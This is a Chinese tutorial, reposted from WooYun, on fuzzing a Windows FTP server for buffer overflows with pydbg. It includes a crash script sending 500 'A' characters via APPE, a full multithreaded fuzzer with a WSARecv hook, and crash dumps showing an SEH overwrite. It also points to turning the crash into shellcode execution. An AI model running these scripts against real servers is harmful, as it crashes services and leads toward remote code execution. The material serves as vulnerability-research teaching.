<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/tips/15572

    0x00 基礎知識


    一:區分

    我們常說的漏洞挖掘,大致可以分為兩種模式:白盒、黑盒.

    1.白盒,又稱透明盒測試,指我們清楚的了解程序的邏輯,獲得設計思路,說明文檔,源代碼的情況下進行的測試.

    優點:準確率高,定位到可能存在的漏洞位置處,能清楚的看到前后邏輯.
    缺點:過于復雜,在代碼量巨大的情況下,手工尋找要付出相當的精力,網傳winNt4.0泄露過源碼,但并未出現因該次泄露而導致的漏洞.

    2.黑盒,又稱功能測試,指在完全不了解內部信息的情況下進行碰撞測試

    優點:可用性、重現性高,完全針對功能的測試,不同于白盒,在源碼中實現漏洞函數細節但并未調用的情況,編譯器會優化掉這個函數,也就是這個功能并不可用.
    缺點:高誤報,捕捉異常麻煩

    二:fuzz的局限性

    我們根據自己的經驗編寫相應的規則,白盒時,例如搜索gets、strcpy、fgets、memcpy等函數,然后向上回溯,如上所說,有可能函數并未調用過,亦或在上層調用之前已經做了限制,例如:

    #!c
    #include <string.h>
    void test(char *arr){
        char buffer[10];
        strcpy(buffer,arr);
    }
    
    int main(int argc,char **argv){
        if(length(argv[1])<=10)
            test(argv[1]);
    }
    

    在黑盒時,例如出現越權漏洞、作者自留后門、多階漏洞,我們手工測試可以精準的判斷,換成程序的視角,這就是一個正常的功能,造成誤報

    0x01 fuzz的各階段


    1. 確定目標
    2. 細化規則確定發包數據
    3. 發包
    4. 異常捕獲
    5. hook api定位poc

    一:模糊測試器的類型

    常見的有命令行參數fuzz、環境變量fuzz、文件fuzz、網絡協議fuzz、內存fuzz等

    命令行參數就是上面的代碼例子,環境變量fuzz,這個就是getenv("aaa"); 兩種思路,不停的重寫aaa變量的值和重啟目標程序,第二點是必須的,第一點的改進思路hook getenv,重新實現一個getenv函數.

    文件fuzz:覆蓋性的寫入數據,如果不讀文件格式的說明文檔,按字節覆蓋,工作量巨大,有些文件格式會進行CRC效驗,例如png文件格式.就像溢出保護的/gs選項.

    網絡協議fuzz:協議即傳輸數據的標準,數據本質上是01,根據協議對每個位置的劃分來確定不同位置數據的意義,我們把這些位置稱為塊,塊內的數據以key:value的方式存儲,像是堆塊中塊首一樣,有特定的位置標注數據的大小,client按協議格式發包后,server端根據協議解析,假如隨意修改了數據卻沒有修改塊大小,server端就無法正確識別數據.

    協議也分兩種:簡單文本協議、二進制協議

    簡單協議通訊的數據在可打印字符范圍內,人工可閱讀,例如ftp、http協議

    #!bash
    [[email protected] ~]# nc www.xxx.com 80
    GET / HTTP/1.1
    Host: xxx.com
    Referrer: google.com
    User-Agent: wooyun
    
    HTTP/1.1 200 OK
    ...
    

    復雜如tcp/ip協議的NBNS,wireshark本身支持的協議比較多,或是本身公開或是逆向工程,將數據解析成肉眼可閱讀的格式.

    test

    當面對復雜且閉源的協議,對其fuzz首要工作就是逆向工程,為此出現了內存形式的fuzz,直接在程序的內存空間里進行模糊測試

    test

    有如上代碼,無限循環接受請求,在內存空間定位到parse之前插入數據而不必關心數據在recv之前是如何封裝的,缺陷就是漏洞場景可能無法重現

    二:細化規則和發包

    除去內存fuzz,發包方式分兩種:直接發送跟代理發送.第二種也叫啟發式fuzz,wireshark可解析的情況下,針對特定字段fuzz

    流程圖如下:

    test

    本文以簡單協議的ftp fuzz為例,瓶頸出現在發包過程中,要考慮server端的帶寬和上游isp的響應速度,好在可以把server部署在本地.

    以覆蓋緩沖區為目的,截取不同長度的數據來發包,數據內容不能出現在用戶層的內存地址,

    我們喜聞樂見的棧溢出發生時會拋出內存地址讀取或寫入違例的異常,假如eip指向用戶層內的地址可能不會拋出異常.

    這里我們就用一串A來測試.

    三:異常捕獲

    設想我們有一個長度為10的數組,數組內每組數據長度不同,以遞增方式存儲,假設第4組數據長度剛好溢出緩沖區拋出異常,模糊測試器沒有異常捕獲功能,直到發包完畢后才停止,那么我們只能確定測試目標存在漏洞,如何精準定位數據長度呢?

    常見的捕獲方式有三種:

    1. 監視事件日志.
    2. 心跳包檢測.
    3. 調試器

    大多數情況我們推薦用成熟的調試器(例如OD)attach目標程序,程序崩潰時能清楚的觀察上下文,堆棧回溯定位漏洞位置,配合wireshark能清楚的看到發包數據,或者在模糊測試器內嵌異常捕獲功能:

    1. CreateProcessA包含Debug_PROCESS標志來創建調試態的程序,WaitForDebugEvent獲取信號,程序觸發異常會發送信號給模糊測試器
    2. DebugActiveProcess附加到相應進程上,同WaitForDebugEvent,再另外起線程去發包

    DEBUG_EVENT結構:

    #!c
    typedef struct _DEBUG_EVENT {
      DWORD dwDebugEventCode;
      DWORD dwProcessId;
      DWORD dwThreadId;
      union {
        EXCEPTION_DEBUG_INFO Exception;
        CREATE_THREAD_DEBUG_INFO CreateThread;
        CREATE_PROCESS_DEBUG_INFO CreateProcessInfo;
        EXIT_THREAD_DEBUG_INFO ExitThread;
        EXIT_PROCESS_DEBUG_INFO ExitProcess;
        LOAD_DLL_DEBUG_INFO LoadDll;
        UNLOAD_DLL_DEBUG_INFO UnloadDll;
        OUTPUT_DEBUG_STRING_INFO DebugString;
        RIP_INFO RipInfo;
      } u;
    } DEBUG_EVENT, 
     *LPDEBUG_EVENT;
    

    dwDebugEventCode值信息

    #!bash
    1 u.Exception
    2 u.Create Thread
    3 u.CreateProcessInfo
    4 u.ExitThread
    5 u.ExitProcess
    6 u.LoadDll
    7 u.UnloadDll
    8 u.DebugString
    9 u.RipInfo
    

    無限循環,WaitForDebugEvent每隔100毫秒獲取一次調試信號,捕捉到異常信號并處理完畢后,ContinueDebugEvent允許線程繼續執行.ContinueDebugEvent DBG_CONTINUE將控制權還給進程,DBG_EXCEPTION_NOT_HANDLED相反

    看起來實現了一個不優雅的回調

    #!c
    //some code
    void OnException(const EXCEPTION_DEBUG_INFO*);
    BOOL waitEvent = TRUE;
    DEBUG_EVENT debugEvent;
    while (waitEvent == TRUE && WaitForDebugEvent(&debugEvent, 100)) {
    
        switch (debugEvent.dwDebugEventCode) {
            case EXCEPTION_DEBUG_EVENT:
                OnException(&debugEvent.u.Exception);
                break;
    
            default:
                std::wcout << TEXT("Unknown debug event.") << std::endl;
                break;
            }
        if (waitEvent == TRUE) {
            ContinueDebugEvent(debugEvent.dwProcessId, debugEvent.dwThreadId, DBG_CONTINUE);
        }
        else {
            break;
        }
    }
    //some code
    

    每種調試事件的具體信息用u來索引,例如dwDebugEventCode值為1,那么就是u.Exception,EXCEPTION_DEBUG_INFO結構中dwFirstChange用來判斷首輪異常還是末輪異常,dwFirstChange不為零,代表首輪,這意味著觸發異常時程序中的異常處理器還未接管.

    如下代碼,假如此處strcpy發生溢出,但忽略了首輪異常,except進行了處理,我們的調試器就無法捕捉

    #!c
    void test(){
        __try{
            strcpy(aaa,bbb);
        }
        __except(...){
            printf(...);
        }
    }
    

    之后還有獲取上下文動作、讀取內存動作、棧展開等,毫無疑問要花費相當的精力,幸運的pydbg模塊已經幫封裝了大多數的功能.

    pydbg的安裝網上有教程,我這里用python2.7.8 32bit正常安裝

    python -m pydoc pydbg或者help(pydbg)查看相關介紹.

    test

    測試軟件用的光刃前輩之前挖掘的"守望迷你ftp服務器"漏洞,測試exp:

    #!python
    import sys,socket
    
    def main():
        ip,port,user,password=sys.argv[1:]
        shellcodeTest=['A'*500]
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect=s.connect((ip,int(port)))
        s.recv(4096)
        s.send('USER'+' '+str(user)+'\r\n')
        s.recv(4096)
        s.send('PASS'+' '+str(password)+'\r\n')
        s.recv(4096)
        s.send('APPE'+' '+shellcodeTest[0]+'\r\n')
        s.recv(4096)
        s.send('QUIT'+' '+'\r\n')
        s.close()
    
    if __name__ == '__main__':
        main()
    

    先捕捉異常試一下,test code:

    #!python
    #!/usr/bin/env python
    # -*- coding:utf-8 -*-
    from pydbg import *
    from pydbg.defines import *
    import utils
    import sys
    
    def accessViolationCallback(debugger):
        if debugger.dbg.u.Exception.dwFirstChance:
    
            print debugger.disasm(debugger.context.Eip)
            #debugger.terminate_process()
            return DBG_EXCEPTION_NOT_HANDLED
            #if DBG_EXCEPTION_NOT_HANDLED then seh->veh->kill
    
    
    def main():
        debugger=pydbg()
        flag=0
        targetProgramName=u'守望迷你ftp服務器.exe'
    
        #enumerate process.filter target ftp program
        for (pid, name ) in debugger.enumerate_processes():
            if name ==targetProgramName.encode('gbk') :
                # name.encode('gbk')... windows font format.. you know...
                debugger.attach(pid)
                flag=1
                print "[*] attaching to program with pid %d " %pid
    
        if flag==0:
            print "[*] target program not found\n"
            sys.exit(-1)
        debugger.set_callback(EXCEPTION_ACCESS_VIOLATION, accessViolationCallback)
        #raise EXCEPTION_ACCESS_VIOLATION,Callback "accessViolationCallback" func
        debugger.run()
    
    
    if __name__ == '__main__':
        main()
    

    看效果:

    test

    上面的utils模塊的功能就是記錄當前線程的狀態,包括異常類型、上下文、異常地址、棧展開、seh鏈等

    捕捉首輪異常的第一個異常(下一個異常覆蓋eip,現在已經覆蓋了seh chain),創建一個實例后,record_crash打印線程狀態概要信息,terminate_process結束進程

    #!python
    def crashInfo(debugger):
        crash_bin = utils.crash_binning.crash_binning()
        crash_bin.record_crash(debugger)
        return crash_bin.crash_synopsis()
    
    
    def accessViolationCallback(debugger):
        if debugger.dbg.u.Exception.dwFirstChance:
    
            print debugger.disasm(debugger.context.Eip)
            print crashInfo(debugger)
            debugger.terminate_process()
            return DBG_EXCEPTION_NOT_HANDLED
            #if DBG_EXCEPTION_NOT_HANDLED then seh->veh->kill
    

    查看效果

    #!bash
    [*] attaching to program with pid 476
    mov [edi],edx
    msvcrt.dll:77c12131 mov [edi],edx from thread 1708 caused access violati
    when attempting to write to 0x00130000
    
    CONTEXT DUMP
      EIP: 77c12131 mov [edi],edx
      EAX: 7efefefe (2130640638) -> N/A
      EBX: 00000000 (         0) -> N/A
      ECX: 0012fe0c (   1244684) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (stack)
      EDX: 41414141 (1094795585) -> N/A
      EDI: 0012ffff (   1245183) -> Actx L| 4d[IY-2(0pSsHd,,ZZ (stack)
      ESI: 030e88b8 (  51284152) -> C:/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (heap)
      EBP: 0012dbf8 (   1235960) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (stack)
      ESP: 0012d7e8 (   1234920) -> RAhfC:\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAA (stack)
      +00: 00000000 (         0) -> N/A
      +04: 00410952 (   4262226) -> uEuuPVr;uEu^^EuPuuV;Et&9_ u!hQuuVujW3;t}
    '+=HiujW3Et1u}VW!VhQjVuS)VsE$Eu (守望迷你ftp服務器.exe.data)
      +08: 0012d9f8 (   1235448) -> AAAC:\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (stack)
      +0c: 0012d804 (   1234948) -> C:\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (stack)
      +10: 00de6668 (  14575208) -> fgh_uasortTH_GREGOR`TTbR=CRG9^ATRRhfaOPg
    TH_GREGOR`TTbRWCR (heap)
      +14: 00000000 (         0) -> N/A
    
    disasm around:
            0x77c1211b jz 0x77c12136
            0x77c1211d mov dl,[ecx]
            0x77c1211f inc ecx
            0x77c12120 test dl,dl
            0x77c12122 jz 0x77c12188
            0x77c12124 mov [edi],dl
            0x77c12126 inc edi
            0x77c12127 test ecx,0x3
            0x77c1212d jnz 0x77c1211d
            0x77c1212f jmp 0x77c12136
            0x77c12131 mov [edi],edx
            0x77c12133 add edi,0x4
            0x77c12136 mov edx,0x7efefeff
            0x77c1213b mov eax,[ecx]
            0x77c1213d add edx,eax
            0x77c1213f xor eax,0xffffffff
            0x77c12142 xor eax,edx
            0x77c12144 mov edx,[ecx]
            0x77c12146 add ecx,0x4
            0x77c12149 test eax,0x81010100
            0x77c1214e jz 0x77c12131
    
    SEH unwind:
            41414141 -> [INVALID]:41414141 Unable to disassemble at 41414141
            ffffffff -> [INVALID]:ffffffff Unable to disassemble at ffffffff
    

    四:hook api實現數據包打印

    首先查看是用的哪個dll的導出函數

    test

    這里可以看到用了ws2_32和wsock32,hook wsock32 recv

    test

    0x71A42E9E位置調用了ws2_32的WSARecv函數,bp ws2_32.WSARecv

    test

    查看數據包結尾標志,這里是'\x0D',讀內存代碼大致如下:

    #!python
    buffer=''
    while 1:
        byte = dbg.read_process_memory( aaa + offset, 1 )
        if byte != '\x0D':
            buffer  += byte
            offset  += 1
            continue
        else:
            break
    print buffer
    

    看WSARecv的結構

    #!c
    int WSARecv(
      _In_    SOCKET                             s,
      _Inout_ LPWSABUF                           lpBuffers,
      _In_    DWORD                              dwBufferCount,
      _Out_   LPDWORD                            lpNumberOfBytesRecvd,
      _Inout_ LPDWORD                            lpFlags,
      _In_    LPWSAOVERLAPPED                    lpOverlapped,
      _In_    LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
    );
    

    斷在WSARecv上

    test

    lpOverlapped is null,那么就是說為阻塞式,可以直接hook

    跟蹤recv

    test

    在recv結束后ebx的值為BUFFER,緩沖區的數據會寫入BUFFER指向的位置,所以在該api結束時callback即可

    func_resolve_debug獲得地址,創建一個container容器,源碼上有example:

    test

    hook參數格式:hook.add(pydbg實例,要鉤住的api,地址,接受的參數數量,調用時的callback,結束時的callback)

    發包USER 1 PASS 1 APPE AAAAA效果如下:

    test

    現在加上發包行為,當程序溢出時,最后一個打印出來的包就是poc了

    發500長度數據包,hook recv,打印最后poc,然后覆蓋緩沖區,觸發異常,看效果:

    test

    現在需要做的就是在程序內內嵌一個發包動作了

    五:發包

    這里要注意win下多線程socket recv的問題,假如非阻塞的情況,接受不到數據就會觸發異常.

    可能是由于多線程的原因,讀內存時偶爾會觸發bug,想來是A線程讀內存時B線程在相同的位置進行寫入動作,本來嘛,python多線程就不是同步的,加上ReadProcessMemory和WriteProcessMemory應該有鎖,我又給每個線程加上了休眠動作,感覺應該可以了,結果gg... 最后在讀內存語句加上了互斥鎖才得以解決.

    重要的地方都注釋了,完整的代碼:

    #!python
    #!/usr/bin/env python
    # -*- coding:utf-8 -*-
    try:
        from pydbg import *
        from pydbg.defines import *
        import utils
    except:
        print 'pydbg or utils install error'
    from ctypes import *
    import sys
    import random
    import socket
    import getopt
    import Queue
    import threading
    import time
    
    gLock=threading.Lock()
    #global mutex lock
    
    def crashInfo(debugger):
        crash_bin = utils.crash_binning.crash_binning()
        crash_bin.record_crash(debugger)
        return crash_bin.crash_synopsis()
    
    
    def accessViolationCallback(debugger):
        if debugger.dbg.u.Exception.dwFirstChance:
    
            print debugger.disasm(debugger.context.Eip)
            print crashInfo(debugger)
            debugger.terminate_process()
            return DBG_EXCEPTION_NOT_HANDLED
            #if DBG_EXCEPTION_NOT_HANDLED then seh->veh->kill
    
    
    def loadDllCallback(debugger):
        global hooks,flag
        if flag:
            hookAddress=debugger.func_resolve_debuggee('ws2_32.dll','WSARecv')
            #getModuleHandleA -> getProcAddress -> closeHandle
    
            if hookAddress:
                hooks.add(debugger,hookAddress,4,exit_hook=readProcessMemory)
                print '[*] hook ws2_32.dll revc 0x%08x success\n' % hookAddress
                flag=0
        return DBG_CONTINUE
    
    def readProcessMemory(debugger,args,ret):
        #time.sleep(random.uniform(0,0.05))
        try:
            print '[*] recving...\n'
            buffer  = ""
            offset  = 0
            ebxAddress=debugger.context.Ebx
            #the recv after get ebx address
    
            while 1:
                gLock.acquire()
                #threading read memory + write memory can error,so use mutex
                byte = debugger.read_process_memory( ebxAddress + offset, 1 )
                gLock.release()
    
                if byte!='\x0D':
                    buffer  += byte
                    offset  += 1
                    continue
                else:
                    break
        except:
            pass
        print buffer
        return DBG_CONTINUE
    
    def initialiationThread(ip,user,password,port):
    
        fuzzCommand=['LIST','APPE','RAW','RSET','XPWD','ALLO',
            'CWD','ACCT','CDUP','DELE','HELP','MKD','MODE','NLST',
            'NOOP','PASV','PORT','PWD','XRMD','RETR','RMD','RNFR',
            'RNTO','SITE','SMNT','STOR','STRU','SYST','TYPE','AUTH',
            'HOST','LANG','MDTM','OPTS','SIZE CHMOD','SIZE CHOWN','SIZE EXEC',
            'SITE INDEX','SIZE PSWD','SIZE ZONE','SIZE WHO','XCUP','XCWD']
        queue=Queue.Queue()
        [queue.put(i) for i in fuzzCommand]
    
    
        threadList=[]
        for i in xrange(0,20):
            t=threading.Thread(target=multiThread,args=(queue,ip,user,password,port,))
            threadList.append(t)
        for i in threadList:
            i.start()
        for i in threadList:
            i.join(random.uniform(0,0.03))
    
    
    def multiThread(queue,ip,user,password,port):
        #time.sleep(random.uniform(1,3))
        time.sleep(10)
        #sleep 10s ,control -> main,else recv raise except
    
        bufferString=['A'*25*(i+1) for i in xrange(30)]
        try:
            s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            connect=s.connect((ip,int(port)))
            print 'ccccccccc'
            s.recv(1024)
    
    
            while not queue.empty():
                #if queue is null, not while conditional,then GIL pause.
                ftpCommand=queue.get(block=False)
                for i in bufferString:
                    s.send('USER'+' '+str(user)+'\r\n')
                    s.recv(1024)
                    s.send('PASS'+' '+str(password)+'\r\n')
                    s.recv(1024)
                    s.send(ftpCommand+' '+i+'\r\n')
                    s.recv(1024)
    
    
    
        except socket.error,Queue.Empty:
            #queue.queue.clear()
            print 'ftp didn\'t response'
        except Exception,e:
            print e
        finally:
            s.close()
            #because other thread may not spark except,so finally s.close()
    
    def getArgv():
        try:
            options,args = getopt.getopt(sys.argv[1:],'hi:u:p:P:',['help','ip=','user=','pass=','port='])
            if len(options)==0:
                raise Exception
        except Exception,e:
            usage()
    
        for name,value in options:
            if name in ('-h','--help'):
                usage()
            if name in ('-i','--ip'):
                ip=value
            if name in ('-u','--user'):
                user=value
            if name in ('-p','--pass'):
                password=value
            if name in ('-P','--port'):
                port=value
        initialiationThread(ip,user,password,port)
    
    
    def usage():
    
        print '[*] python fuzz.py -i 127.0.0.1 -u test -p test -P 21'
        print '[*] python fuzz.py --ip 127.0.0.1 --user test --pass test --port 21'
        print '[*] thanks bstaint'
        print '[*] author pr0mise'
        sys.exit(-1)
    
    def main():
        getArgv()
    
        print '\n'
        debugger=pydbg()
        targetProgramName=u'守望迷你ftp服務器.exe'
        global hooks,flag
        flag=0
        hooks = utils.hook_container()
    
    
        #enumerate process.filter target ftp program
        for (pid, name ) in debugger.enumerate_processes():
            if name ==targetProgramName.encode('gbk') :
                # name.encode('gbk')... windows font format.. you know...
                debugger.attach(pid)
                flag=1
                print '[*] attaching to program with pid %d ' %pid
    
        if flag==0:
            print '[*] target program not found\n'
            sys.exit(-1)
        debugger.set_callback(EXCEPTION_ACCESS_VIOLATION, accessViolationCallback)
        #raise EXCEPTION_ACCESS_VIOLATION,Callback "accessViolationCallback" func
    
        debugger.set_callback(LOAD_DLL_DEBUG_EVENT, loadDllCallback)
        #the LoadLibrary('dll') after callback loadDllCallback func
    
        debugger.run()
    
    
    
    if __name__ == '__main__':
        main()
    

    執行:

    #!bash
    RETR mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
    mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
    mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
    mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
    mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
    mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
    mmmmmmmmmmmmmmmmmmmmmmmmm
    mov [edi],edx
    msvcrt.dll:77c12131 mov [edi],edx from thread 692 caused access violation
    when attempting to write to 0x00130000
    
    CONTEXT DUMP
      EIP: 77c12131 mov [edi],edx
      EAX: 7efefefe (2130640638) -> N/A
      EBX: 00000000 (         0) -> N/A
      ECX: 0012fe0c (   1244684) -> mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmC:\mm
    mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
    mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
    mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm (stack)
      EDX: 6d6d6d6d (1835887981) -> N/A
      EDI: 0012ffff (   1245183) -> Actx L| 4d[IY-2(0pSsHd,,ZZ (stack)
      ESI: 030f4cf8 (  51334392) -> C:/mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
    mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
    mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
    mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm (heap)
      EBP: 0012decc (   1236684) -> mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
    mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
    mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
    mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm (stack)
      ESP: 0012dabc (   1235644) -> RAhfC:\mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
    mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
    mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
    mmmmmmmmmmmmmmmmmmmmmmmm (stack)
      +00: 00000000 (         0) -> N/A
      +04: 00410952 (   4262226) -> uEuuPVr;uEu^^EuPuuV;Et&9_ u!hQuuVujW3;t}EwEuPEP
    '+=HiujW3Et1u}VW!VhQjVuS)VsE$Eu (守望迷你ftp服務器.exe.data)
      +08: 0012dccc (   1236172) -> mmmC:\mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
    mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
    mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
    mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm (stack)
      +0c: 0012dad8 (   1235672) -> C:\mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
    mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
    mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
    mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm (stack)
      +10: 00de6668 (  14575208) -> fgh_uasortTH_GREGOR`TTbR=CRG9^ATRRhfaOPggfuksor
    TH_GREGOR`TTbRWCR (heap)
      +14: 00000000 (         0) -> N/A
    
    disasm around:
            0x77c1211b jz 0x77c12136
            0x77c1211d mov dl,[ecx]
            0x77c1211f inc ecx
            0x77c12120 test dl,dl
            0x77c12122 jz 0x77c12188
            0x77c12124 mov [edi],dl
            0x77c12126 inc edi
            0x77c12127 test ecx,0x3
            0x77c1212d jnz 0x77c1211d
            0x77c1212f jmp 0x77c12136
            0x77c12131 mov [edi],edx
            0x77c12133 add edi,0x4
            0x77c12136 mov edx,0x7efefeff
            0x77c1213b mov eax,[ecx]
            0x77c1213d add edx,eax
            0x77c1213f xor eax,0xffffffff
            0x77c12142 xor eax,edx
            0x77c12144 mov edx,[ecx]
            0x77c12146 add ecx,0x4
            0x77c12149 test eax,0x81010100
            0x77c1214e jz 0x77c12131
    
    SEH unwind:
            6d6d6d6d -> [INVALID]:6d6d6d6d Unable to disassemble at 6d6d6d6d
            ffffffff -> [INVALID]:ffffffff Unable to disassemble at ffffffff
    
    
    ftp didn't response
    ftp didn't response
    ftp didn't response
    

    可以看到fuzz出RETR命令發送長數據包可導致溢出,前面的文章介紹過,配合mona找到剛好覆蓋到seh chain的位置,改一下exp.py就可以執行shellcode了.

    文章到此結束,紕漏之處 歡迎諸君批評、斧正.

    特別感謝bstaint表哥和趙中老師的幫助.

    0x02 參考文檔


    97av